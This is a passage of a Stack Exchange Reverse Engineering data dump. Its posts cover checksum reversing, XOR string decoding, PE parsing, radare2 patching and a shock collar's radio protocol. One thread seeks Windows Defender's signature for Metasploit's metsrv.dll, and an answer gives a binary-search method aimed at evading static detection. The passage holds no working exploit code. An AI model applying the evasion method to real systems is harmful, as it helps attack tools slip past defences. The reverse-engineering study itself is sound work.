CXv/dXScsEM4WDRMn/@Zy4WCObIiUWFxv8MBssBswRDTSaGu2GwQDBPRsxBJ39X@Wg5YKZgUDFG/vV3ERcI5sqIyjtuvtxT@HV/Gmprwdft34Lj08PReelaYSsO516ZJK1D/RoG668azgUE4Wwut792ssw/X05Uqtl6/AX15YAZg4GnlotnKxfMDUWrfT76r7qXA@YMBlszzApsOWDubMRVaKH/0ZsFgnkzIi9BW8uWC@aelGK13OIScYFg5omxKWVyYsYZYKKF5NrqrJvhcAbu@QMPK26fkvfz3gOboynUHxUutm39HtJfCc6N4I6v4/GHbk0JZnyDgyuNt4zFqyMMhIjXlPFaKl4b/BMCHA1XpBcC6YVAeiGQXgikFwLp8YcQ4HCJ9FIivZRILyXSS4n0UiK9lEgvJdKr1uAVgU3vacx1PCUKkuEysTUZzL1AVrrqotkCwdxPScbFoCWDgSH/wnAwEAgQbHVK1pJ0cFo6p2COUDA4t8bJkkhMC1cQyQYH72Sm9UGGzx4ENqgE0LneaiHbU4twerwLTkE7cHIRVG80rqY1QoN7MB4prmUGKkGfLdLgKPhJB3inYESQ0aHZss0kA44BI5I0FSV1HugyfELdQFrgX/eaJqDonwNKduAKOqM00hrgz4Gydd1BQ6TpXAONrFFC1AHsozsnWXFhEzwvOPMZPxY5Fl7x0cxjuYb0C2hpsBJx/Wp0C63O4aioz8Yf7evIiq0kjrKBvazZW9bQvYAecF/4FObcgueBEiwDvnSQC4RUlsFwEshhEFQeWYM4CaEA4o2Bj5WFgRsMAEYCYRvQk5HJzKCWatRrUyB0GPUeYJbkM7k@W@0LLhGlJ@Dp3sOpjQ@aB527V0@RESR8RlBqgpIgaTfTDfcOWLc9AFEOBEW4BTqSfaNAY8owNL5T9pJA9gggr7bLmklOGoukB8P7ZArxQFdrgib0QJ2668jVHkPIpiOnug7lvSyBHG/HKOAZDAi0nI/2C@nIK7p7rlu1BwFJdYesvgwZAapm2MY7WIBltqaCuQtmCSAUArsjUg6R1COC3mGM7lEoLAmHk0FPa66nKMgKhGYHPFqPCOcohfrjyKNkitEbN77QD/rIYhWhGjMPxSomOUcJbJ8R9D66FcbKkKf2SBgPoAqzxIGSot9g1G3T3cgeoaf/MSVRxjqSV1EcUURRbMueD3WQrsfvYSLq0Q5XgSPeSr1h2BQOmsbaSPpd4i3hb9lJ9angMLmAJOLrycUcvMPJb@KQ1UsakqFlNN3tWVZt/gI5MI@iB1WppUTPVhaYu2weYwiqsAWCufdOcuKw9mDL/XNvnXETYKplCwRz75@m1JKLbLl/@u3zatyCwQQwuO/b5sUJrSpbIJg7F6RipcrMw0OoqELAQ6ZUx5u5uBccuRFKCFG38qjXXH1ZHl0Of5gMv@4XYff@TsHGKOqjYbAVJUEJQyWKNIrSzTmq2WNhBgtPoDJQlFHwGeXSW4UW4eIo9TTnqSxbRzH7UMbqpZlwXM7uexpUzhllKyoObfsZvYi7FYe2Mo8fuw/74s4RfyrIYCGMZAhEh9V4R8WsUe7uOxquV@@pVDPKN1hw6vsPYpR3GjhXWSzRbWWwtm/t8h3KUEPS45LdoMmkW6Ii@tflctzhAdujxIfS0r7Y14vVZOO@w0DWJk1CijxKVpLeqtD6ULMedaduXBxgq9wLYnLntg0IOOr6ZD6q0vUa3WHrpG8U9Uob9gFncaLu7tz3AV59g6n@1TdY1vG4IxpwiWF9p22UUUcBEgvLG3a3EmqP3hGtiHjCPKFPWQ8txjos1Up/2JscxV2BQIIU52hjxfQdQYTGfkSMKr7tW/ZY6zDYx4Ic0btFVL97iO19hPSNFwJloOIulnMVbpXJgAVavWl7u0S@7aYetMQCbY90fbTRpFzfxMn7nGAcPypn6y0LIn/KibTneituG26P9XxFQOebxUaRd5R8qRR/9HmUt4H/cZ9uFcoiGT2F9sVy8ShYd7/6nhtp481Qxup5Bt6LpmJobH0Tce4lZbQyB8tqajVwLbXWzSgISAnMMFsImv3hFb@eFj1XxtO6IFMbHTmspPrSD59y9YL9Hw&quot; rel=&quot;noreferrer&quot; title=&quot;Python 3 – Try It Online&quot;&gt;Try it online!&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;crc&lt;/code&gt; function may be used to generate missing checksum values.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, I assumed that the checksum function satisfies the property: for all &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;, we have &lt;code&gt;checksum(x) xor checksum(y) == checksum(x xor y)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Gaussian elimination on the provided data, I can deduce that the hash of &lt;code&gt;000000...000000bb0301&lt;/code&gt; is &lt;code&gt;bb0301&lt;/code&gt;. Looks pretty reasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I read about existing hash functions and see what method they uses. I note that CRC uses polynomial remainder mod 2, so I guess that the hash is the input as a polynomial modulo some polynomial with degree 25 (because the output has 24 bits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With simple brute force, I conclude that the polynomial is &lt;code&gt;000201&lt;/code&gt;. Testing reveals that it's correct.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Why reveng executes so quickly?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's because there are only 2&lt;sup&gt;width&lt;/sup&gt; possible polynomials. reveng only takes small time to try each polynomial. In this case width = 24, so there are only 1048576 polynomials, which is not very large for a computer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why reveng returns no output? What's the difference between this and CRC?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;CRC appends &lt;code&gt;width&lt;/code&gt; (in this case - 24) bits to the input before computing polynomial remainder, this algorithm doesn't.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastEditorUserId="25171" LastEditDate="2018-10-24T05:22:50.320" LastActivityDate="2018-10-24T05:22:50.320" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19704" PostTypeId="1" AcceptedAnswerId="19705" CreationDate="2018-10-23T20:41:23.687" Score="2" ViewCount="298" Body="&lt;p&gt;I'm trying to reverse-engineer a proprietary file format to be able to extract certain strings from files in this format. I have the application, that writes the files, at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By trial-and-error I found out a few characters, however I'm currently clueless what kind of encoding this is or if there exists some kind of shift to obfuscate things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alphabet I found out by saving strings with the proprietary application looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x3B: 'a'&#xA;0x38: 'b'&#xA;0x39: 'c'&#xA;0x3E: 'd'&#xA;0x3F: 'e'&#xA;0x3C: 'f'&#xA;0x3D: 'g'&#xA;0x32: 'h'&#xA;0x33: 'i'&#xA;0x30: 'j'&#xA;0x31: 'k'&#xA;0x36: 'l'&#xA;0x37: 'm'&#xA;0x34: 'n'&#xA;0x35: 'o'&#xA;0x2A: 'p'&#xA;0x2B: 'q'&#xA;0x28: 'r'&#xA;0x29: 's'&#xA;0x2E: 't'&#xA;0x2F: 'u'&#xA;0x2C: 'v'&#xA;0x2D: 'w'&#xA;0x22: 'x'&#xA;0x23: 'y'&#xA;0x20: 'z'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried looking at the shift from the Unicode codepoints. Going from &lt;code&gt;a&lt;/code&gt; onwards you get a shift of 38, 42, 42, 38, 38, 42, 42, 54, 54, 58, 58, 54, 54, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see any pattern? Any idea on how to proceed except continuing to complete all characters by manual trial-and-error? Would really like to get some basic hints / other things I could try as this is the first time I am doing this.&lt;/p&gt;&#xA;" OwnerUserId="26105" LastEditorUserId="2563" LastEditDate="2018-10-27T18:58:41.417" LastActivityDate="2018-10-27T18:58:41.417" Title="Find out string encoding/shift of proprietary binary file format" Tags="|file-format|deobfuscation|encodings|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19705" PostTypeId="2" ParentId="19704" CreationDate="2018-10-23T22:14:13.973" Score="2" Body="&lt;p&gt;It's a simple exclusive-or (^) operation with the byte 0x5A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your examples -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'a' 0x61 ^ 0x5A = 0x3B&#xA;'b' 0x62 ^ 0x5A = 0x38&#xA;'z' 0x7A ^ 0x5A = 0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plus some others you should be able to check -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'!' 0x21 ^ 0x5A = 0x7B&#xA;'4' 0x34 ^ 0x5A = 0x6E&#xA;'Q' 0x51 ^ 0x5A = 0x0B&#xA;']' 0x5D ^ 0x5A = 0x07&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-10-23T22:14:13.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19709" PostTypeId="2" ParentId="19695" CreationDate="2018-10-24T10:17:34.960" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;the library you parsed was not an exact match for the binary. Check the bytes in the binary against the bytes in the library/pattern.&lt;/li&gt;&#xA;&lt;li&gt;there was some other issue that prevented matching the signature. You can run IDA with &lt;code&gt;-z4&lt;/code&gt; switch to see extra debug output during FLIRT processing, it may give some clues.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-24T10:17:34.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19711" PostTypeId="1" CreationDate="2018-10-24T18:22:30.673" Score="1" ViewCount="589" Body="&lt;p&gt;Has anyone looked at the hardware to see what processor they're using or disassembled the firmware? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wyze claims to have opensourced their firmware but their github repository seems to be mostly binary files with a few scripts tossed in. Further, they admit to not being fully open in the readme file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.wyzecam.com/product/wyze-cam-v2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;At $20 for a 1080p IP camera&lt;/a&gt;, the offer seems to be too good not to have some string attached. HIK Vision cameras were all the rage a few years back until they were caught phoning home.&lt;/p&gt;&#xA;" OwnerUserId="26114" LastActivityDate="2018-10-24T18:22:30.673" Title="Has anyone reversed Wyze cameras?" Tags="|disassembly|security|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2018-10-26T12:48:10.813" ContentLicense="CC BY-SA 4.0" />
  <row Id="19712" PostTypeId="1" AcceptedAnswerId="20130" CreationDate="2018-10-24T19:47:56.500" Score="7" ViewCount="1760" Body="&lt;p&gt;As a pentester for a consulting agency, it is part of our job to &quot;evade&quot; antivirus after gaining code execution on information systems. It is indeed necessary to prove exploitation of vulnerabilities, as opposed to simply reporting them. If an AV detects the tools we use, clients often will disregard the vulnerability because they are not convinced by the risk it causes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We noticed that Windows Defender detects the metsrv.dll from Metasploit Framework in memory and kills our shell. The detection is done by mpengine.dll and is either done by some kind of criteria on the emulated binary or is a pattern of bytes in the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the context of the question is clear, here is the actual question: how could I proceed to pin point &lt;em&gt;exactly&lt;/em&gt; what the signature for this file is ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before your answer, here are the conclusions I have already come to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows Defender's scanning engine detects metsrv.dll from Metasploit at the moment it is loaded into memory.&lt;/li&gt;&#xA;&lt;li&gt;I can use Taviso's &lt;em&gt;loadlibrary&lt;/em&gt; to reproduce the detection statically on GNU/Linux, using the following command:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;./mpclient metsrv.x64.dll&#xA;main(): Scanning metsrv.x64.dll...&#xA;EngineScanCallback(): Scanning input&#xA;EngineScanCallback(): Threat HackTool:Win64/Meterpreter.A!dll identified.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have reduced the sample size down from 200 kb to 13 kb using the GNU &lt;em&gt;split&lt;/em&gt; utility and a &quot;binary search&quot; approach: the sample is split in two parts, both are fed to Windows Defender and the part that is detected is then split in two more parts. Repeat until it is possible, so as to minimize the test case.&lt;/li&gt;&#xA;&lt;li&gt;Disassembling mpengine.dll is not very helpful, because there are more than 30k functions found by IDA Pro in it.&lt;/li&gt;&#xA;&lt;li&gt;Code coverage analysis with Pin allows to reduce this set to 3k functions, which is still too much to analyze statically.&lt;/li&gt;&#xA;&lt;li&gt;mpengine.dll can be debugged in gdb. I put a watch point on the string &quot;Win64/Meterpreter.A!dll&quot; to see if I could find an interesting function that would read at this location, maybe at a time close to the verdict's time. Still lost because of the size of the code, even though the watch point is triggered two times.&lt;/li&gt;&#xA;&lt;li&gt;A script on GitHub called avwhy.py allows to infer signatures from AVs by changing one byte at a time and memorizing the ones that impact the AV's verdict. After running more than 16 hours, the tool returned me the whole file as part of the signature, which looks like a wrong result: it is improbable that using the split utility I have found the exact signature, because I expect to either have too much bytes or having removed useful bytes from the signature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, I have spent numeral hours on this. The goal &lt;strong&gt;is to find the exact signature&lt;/strong&gt;, not to evade it by applying some kind of transformation on &lt;em&gt;metsrv.dll&lt;/em&gt;. I think it is a fun reverse engineering challenge but I am stuck for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the steps that I need to take in order to accomplish my goal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In order to clarify what I'm trying to do, here is a self-published paper from Tavis Ormandy: &lt;a href=&quot;https://lock.cmpxchg8b.com/sophail.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sophail: A Critical Analysis of Sophos Antivirus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At page 3, he shows the signature for the file &quot;Attention 629&quot;. I am trying to achieve the same result. Of course I can attack the 3k functions and work from here, but I suppose Tavis had a more intelligent approach, and that is the type of answers I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="16445" LastEditorUserId="16445" LastEditDate="2018-10-26T07:11:30.167" LastActivityDate="2018-12-13T21:43:07.933" Title="Reverse engineering Windows Defender's signature for Metasploit Framework's metsrv.dll" Tags="|ida|debugging|binary-analysis|gdb|disassemblers|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19714" PostTypeId="2" ParentId="18638" CreationDate="2018-10-25T06:20:00.133" Score="2" Body="&lt;p&gt;Before insert some asm instructions, sometimes you have to enlarge the section .text. try it like below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;oo+  ; reopen file with write permission&#xA;iO r/.text/biggersize ; biggersize = size of section..text + 8&#xA;s 0x08048498&#xA;wen 8&#xA;wx c745fc000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26123" LastActivityDate="2018-10-25T06:20:00.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19716" PostTypeId="2" ParentId="19640" CreationDate="2018-10-25T07:07:24.743" Score="4" Body="&lt;p&gt;Unless you are loading a mapped PE file in your vector, you have to convert all RVAs to file offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pseodocode looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func rva2offset(pe, rva):&#xA;    for section in pe.sections:&#xA;        if rva &amp;gt;= section.rva and rva &amp;lt; section.rva + section.size:&#xA;            return section.fileoffset + (rva - section.rva)&#xA;    return nil&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code does not account for the actual way the kernel maps the PE file in memory (alignment and other edge cases), so use it with care.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-10-25T07:07:24.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19717" PostTypeId="2" ParentId="19671" CreationDate="2018-10-25T07:08:51.207" Score="4" Body="&lt;h2&gt;Answer&lt;/h2&gt;&#xA;&lt;p&gt;Consider a &amp;quot;gap&amp;quot; to be a &amp;quot;low&amp;quot; interval between two consecutive &amp;quot;high&amp;quot; interval, ignoring the first longest one. Then, a bit &lt;code&gt;1&lt;/code&gt; corresponds to a long gap, and a bit &lt;code&gt;0&lt;/code&gt; corresponds to a short gap.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7kFKe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kFKe.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Therefore, the messages decoded that way are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;88 14 4b 00 ee   : Light&#xA;84 14 4b 00 de   : Beep&#xA;81 14 4b 00 7e   : Zap&#xA;82 14 4b 00 be   : Vibrate&#xA;82 14 4b 01 be   : Buzz stim in sequential order&#xA;82 14 4b 02 be&#xA;82 14 4b 03 be&#xA;82 14 4b 04 be&#xA;82 14 4b 05 be&#xA;82 14 4b 06 be&#xA;82 14 4b 07 be&#xA;82 14 4b 08 be&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That follows the exact same pattern as described at &lt;a href=&quot;http://brettleaver.com/collar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://brettleaver.com/collar/&lt;/a&gt;, except that the remote UID is &lt;code&gt;14 4b&lt;/code&gt; instead of &lt;code&gt;20 89&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;(quoting the link above:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Now we can easily decode what the remote is sending! After changing the settings several times and looking at how it changes the transmission, it became clear what the signal represented.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&lt;b&gt;8&lt;/b&gt;1 20 89 32 7e&lt;/code&gt;&lt;br /&gt;&#xA;This will be set to &lt;code&gt;8&lt;/code&gt; if the remote is on channel 1&lt;br /&gt;&#xA;This will be set to &lt;code&gt;f&lt;/code&gt; if the remote is on channel 2&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;8&lt;b&gt;1&lt;/b&gt; 20 89 32 7e&lt;/code&gt;&lt;br /&gt;&#xA;This will be set to &lt;code&gt;1&lt;/code&gt; when the remote is requesting a shock&lt;br /&gt;&#xA;This will be set to &lt;code&gt;2&lt;/code&gt; when the remote is requesting a vibration&lt;br /&gt;&#xA;This will be set to &lt;code&gt;4&lt;/code&gt; when the remote is requesting a beep&lt;br /&gt;&#xA;This will be set to &lt;code&gt;8&lt;/code&gt; when the remote is requesting an LED flash&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;81 &lt;b&gt;20 89&lt;/b&gt; 32 7e&lt;/code&gt;&lt;br /&gt;&#xA;These bytes represent the UID of the remote, and never change.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;81 20 89 &lt;b&gt;32&lt;/b&gt; 7e&lt;/code&gt;&lt;br /&gt;&#xA;This byte represents the intensity of the vibration/shock.&lt;br /&gt;&#xA;The collar will ignore anything above 100&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;81 20 89 32 &lt;b&gt;7&lt;/b&gt;e&lt;/code&gt;&lt;br /&gt;&#xA;This will be set to &lt;code&gt;7&lt;/code&gt; when the remote is requesting a shock&lt;br /&gt;&#xA;This will be set to &lt;code&gt;B&lt;/code&gt; when the remote is requesting a vibration&lt;br /&gt;&#xA;This will be set to &lt;code&gt;D&lt;/code&gt; when the remote is requesting a beep&lt;br /&gt;&#xA;This will be set to &lt;code&gt;E&lt;/code&gt; when the remote is requesting an LED flash&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;81 20 89 32 7&lt;b&gt;e&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;&#xA;This will be set to &lt;code&gt;E&lt;/code&gt; if the remote is on channel 1&lt;br /&gt;&#xA;This will be set to &lt;code&gt;0&lt;/code&gt; if the remote is on channel 2&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;81 20 89 32 &lt;b&gt;7e&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;&#xA;This last byte is equal to the first byte, but with its bits reversed and inverted. I think it’s some kind of error checking mechanism, as the collar will ignore all transmissions where this isn’t the case.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Derivation&lt;/h2&gt;&#xA;&lt;p&gt;Consider the signal in binary:&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;110111111011111011011110111011010111111110&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;0000000&#xA;110111111011111011011110111011010111111101&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;0000000&#xA;1101111110111110110111101110110101111111010&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;000000&#xA;110111111011111011011110111011010111111011&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;0000000&#xA;1101111110111110110111101110110101111110110&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;000000&#xA;1101111110111110110111101110110101111110101&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;000000&#xA;11011111101111101101111011101101011111101010&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;00000&#xA;110111111011111011011110111011010111110111&lt;b&gt;&lt;i&gt;101101010101011&lt;/i&gt;&lt;/b&gt;0000000&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;Note how the &lt;code&gt;&lt;b&gt;&lt;i&gt;bold italic&lt;/i&gt;&lt;/b&gt;&lt;/code&gt; part appear in all of the sequences, and not in a fixed place? That leads me to suspect that the message has a variable length, and the trailing zeroes doesn't matter.&lt;/p&gt;&#xA;&lt;p&gt;The common prefix of all the messages is &lt;code&gt;11011111101111101101111011101101011111&lt;/code&gt;. We will cut out this part, but leave a &lt;code&gt;1&lt;/code&gt; in the message -- the reason will be apparent later.&lt;/p&gt;&#xA;&lt;p&gt;The remaining part is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;11110&#xA;11101&#xA;111010&#xA;11011&#xA;110110&#xA;110101&#xA;1101010&#xA;10111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that this is supposed to be (a part of) an increasing, consecutive number sequence.&lt;/p&gt;&#xA;&lt;p&gt;From OP's observation (there are no two consecutive zeroes), and note that there are 3 pairs in the data above where the latter one is the former one with a &lt;code&gt;0&lt;/code&gt; appended, I guess that a &lt;code&gt;0&lt;/code&gt; is encoded as a &lt;code&gt;10&lt;/code&gt; and a &lt;code&gt;1&lt;/code&gt; is encoded as a &lt;code&gt;1&lt;/code&gt; (or vice versa).&lt;/p&gt;&#xA;&lt;p&gt;Replacing &lt;code&gt;10&lt;/code&gt; with &lt;code&gt;1&lt;/code&gt; gives:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1110&#xA;1101&#xA;1100&#xA;1011&#xA;1010&#xA;1001&#xA;1000&#xA;0111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looks good enough. This counts in decreasing order, so we have to negate the bits (&lt;code&gt;0&lt;/code&gt; is encoded as &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt; is encoded as &lt;code&gt;10&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;It's obvious that the bits come in decreasing significance (most significant bit first). Because the value represented is from 1 to 100, the 3 previous bits are also a part of the value.&lt;/p&gt;&#xA;&lt;p&gt;I also suspect that&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lx5mQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lx5mQ.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;is only a start-of-transmission mark and does not contribute to the data,  because it's larger than all the others.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-10-26T05:15:27.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19719" PostTypeId="2" ParentId="19712" CreationDate="2018-10-25T09:18:51.170" Score="5" Body="&lt;p&gt;One approach you might consider involves compiling different versions of &lt;code&gt;metsrv.dll&lt;/code&gt; from source and then observing which ones are detected and which ones are not. For instance:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Comment out half the code in &lt;code&gt;main&lt;/code&gt; and check if the resulting DLL is detected. As your goal is to evade static detection, it does not matter for now that the DLL is not fully functional.&lt;/li&gt;&#xA;&lt;li&gt;If undetected, uncomment the first half of the code that was commented the first time and recheck the detection. Otherwise, comment out the second half of the code used in the previous step and recheck the detection.&lt;/li&gt;&#xA;&lt;li&gt;Repeat this binary search approach until you have narrowed it down to a particular function that causes the detection. &lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 1-3 for code for that function and any further nested function calls. Eventually you should reach a point where there are no further function calls and where commenting out a single line of code gives changes the detection status of the file.&lt;/li&gt;&#xA;&lt;li&gt;Check the pattern of bytes (machine code) corresponding to this last line of code and experiment with mutating it to test the robustness of &lt;code&gt;mpengine&lt;/code&gt;'s detection criteria. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might also consider different compiler or build options (e.g. compile with debug symbols or different optimization level) with the original code to see if that makes the detection go away. If so, comparing the two binaries with &lt;code&gt;fc&lt;/code&gt; or some other tool might point to the cause of detection. &lt;/p&gt;&#xA;" OwnerUserId="26125" LastActivityDate="2018-10-25T09:18:51.170" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19721" PostTypeId="2" ParentId="19602" CreationDate="2018-10-25T15:32:35.960" Score="2" Body="&lt;p&gt;The term SCSI in the device description is a bit of a misnomer: it does not mean that it is a SCSI disk but just refers to the fact that  the &lt;a href=&quot;https://en.wikipedia.org/wiki/USB_mass_storage_device_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;USB Mass Storage device class &lt;/a&gt; uses some of the SCSI protocol commands in its communications (similar to some ATA devices). Probably the most well known command is INQUIRY that is used to identify the device and its parameters. See an example &lt;a href=&quot;http://www.usblyzer.com/usb-mass-storage-class-msc-decoder.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt you’ll be able to dump anything via USB, it is probably used to communicate with the host, possibly via some custom protocol. Try to find the manufacturer’s software that can talk to the device and RE it. Or just open it and look for some flash chip you can dump.  &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-25T15:32:35.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19722" PostTypeId="1" CreationDate="2018-10-25T19:51:01.473" Score="3" ViewCount="434" Body="&lt;p&gt;Is there any way to view the results of something like &lt;code&gt;dr=&lt;/code&gt; in signed interger form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; dr rax = 298; dr rdx = 42; dr=&#xA; rax 0x0000012a           rbx 0x00000000           rcx 0x00000000&#xA; rdx 0x0000002a           rsi 0x00000000           rdi 0x00000000&#xA;  r8 0x00000000            r9 0x00000000           r10 0x00000000&#xA; r11 0x00000000           r12 0x00000000           r13 0x00000000&#xA; r14 0x00000000           r15 0x00000000           rip 0x00005850&#xA; rbp 0x00000000           rflags              rsp 0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking to read &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt; as dec.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-10-25T20:57:44.043" Title="How do I view the registers as signed intergers?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19723" PostTypeId="1" CreationDate="2018-10-25T20:18:59.800" Score="2" ViewCount="1088" Body="&lt;p&gt;I am writing an exploit for a binary on Linux using IDA Pro. This binary, first accepts an input using getchar() and after few more code sections, it accepts a buffer as an input through stdin and it uses the read() function to read the input. This buffer is then copied to another memory region using memcpy() which results in a crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to automatically pass the input to program so that I don't have to pass these values in interactive mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, I would do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./linux_server binary &amp;lt; data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where data contains the input to be supplied to program. This takes care of the first getchar() function and it reads the input from data file. However, the next read() function, doesn't read anything from stdin because I think, the input was already processed by getchar() 